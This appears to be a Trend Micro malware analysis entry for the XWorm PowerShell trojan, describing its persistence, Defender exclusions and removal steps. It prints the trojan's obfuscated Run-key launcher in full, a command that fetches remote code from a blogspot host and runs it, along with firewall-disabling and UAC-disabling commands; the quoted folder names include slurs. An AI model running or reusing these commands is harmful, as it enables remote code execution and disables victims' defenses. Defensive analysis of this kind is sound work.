Trojan.PS1.XWORM.AB

 Analysis by: Melvin Jhun Palbusa

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,288,329 bytes

File Type:

PS1

Memory Resident:

Yes

Initial Samples Received Date:

18 Apr 2024

Payload:

Connects to URLs/IPs, Drops files, Deletes files, Modifies system registry, Terminates processes

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following folders:

  • %ProgramData%\nipplesnigger → Deletes afterwards

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It drops the following files:

  • %ProgramData%\nipplesnigger\KAMASUTRAKIM.~!!@#!!!!!!!!!!!!!!!~ → Deletes afterward

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following processes:

  • netsh.exe advfirewall set allprofiles state off -ErrorAction Silently Continue

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti1 = schtasks /run /tn lexerti1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti2 = "javascript:xwge=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm allinalcleanedcap.blogspot.com////////////////////atom.xml | iex);Start-Sleep -Seconds 5;','run']; xwwt=[xwge[3],xwge[0],xwge[1],xwge[2]]; new ActiveXObject(xwwt[2])[xwwt[0]](xwwt[3], 0, true);close();new ActiveXObject(xwwt[1]).DeleteFile(WScript.ScriptFullName)

Other System Modifications

This Trojan adds the following registry entries:

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
(Default) = C:\IDontExist.dll

It modifies the following registry entries:

HKEY_LOCAL_MACHINE\Software\Microsoft\
CurrentVersion\Policies\System
EnableLUA = 0

(Note: The default value data of the said registry entry is 1.)

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • RegSvcs
  • Mshta
  • Wscript
  • Msbuild

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}lcleanedcap.blogspot.com////////////////////atom.xml

Other Details

This Trojan adds the following registry keys:

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32

It does the following:

  • Terminates process containing .bat.exe in its process name
  • Deletes files in the following folders:
    • %Application Data%
    • %Public%
    • %User Startup%
      • with the following extensions:
        • .bat
        • .ps1
        • .lnk
        • .bat.exe
        • .cmd
  • Deletes files in the following folders:
    • %Public%
    • %Application Data%
    • %ProgramData%
      • with the following extension:
        • .vbs
  • Exclude the following in Windows Defender scans:
    • Extensions:
      • .ppam
      • .xls
      • .docx
      • .vbs
      • .js
    • Drives:
      • C:\
      • D:\
      • E:\
    • Processes:
      • explorer.exe
      • kernel32.dll
      • aspnet_compiler.exe
      • cvtres.exe
      • CasPol.exe
      • csc.exe
      • Msbuild.exe
      • ilasm.exe
      • InstallUtil.exe
      • jsc.exe
      • powershell.exe
      • rundll32.exe
      • conhost.exe
      • Csript.exe
      • mshta.exe
      • cmd.exe
      • DefenderisasuckingAntivirus
      • wscript.exe
    • IP Address:
      • 127.0.0.1
  • Disable Windows Defender
  • It bypasses the Antimalware Scan Interface (AMSI).

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following scheduled tasks:

  • Task Name: lexerti1
  • Trigger: Once {Current Date plus 402 minutes}
  • Action: Mshta {Script}

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

19.314.03

FIRST VSAPI PATTERN DATE:

02 May 2024

VSAPI OPR PATTERN File:

19.315.00

VSAPI OPR PATTERN Date:

03 May 2024

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\Software\Microsoft\CurrentVersion\Policies\System
    • EnableLUA  = 0

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
    • (Default)  = C:\IDontExist.dll
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • lexerti1 = schtasks /run /tn lexerti1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • lexerti2 = "javascript:xwge=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm allinalcleanedcap.blogspot.com////////////////////atom.xml | iex);Start-Sleep -Seconds 5;','run']; xwwt=[xwge[3],xwge[0],xwge[1],xwge[2]]; new ActiveXObject(xwwt[2])[xwwt[0]](xwwt[3], 0, true);close();new ActiveXObject(xwwt[1]).DeleteFile(WScript.ScriptFullName)

Step 5

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
  • In HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}

Step 6

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • lexerti1 - mshta {Script}

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 7

Scan your computer with your Trend Micro product to delete files detected as Trojan.PS1.XWORM.AB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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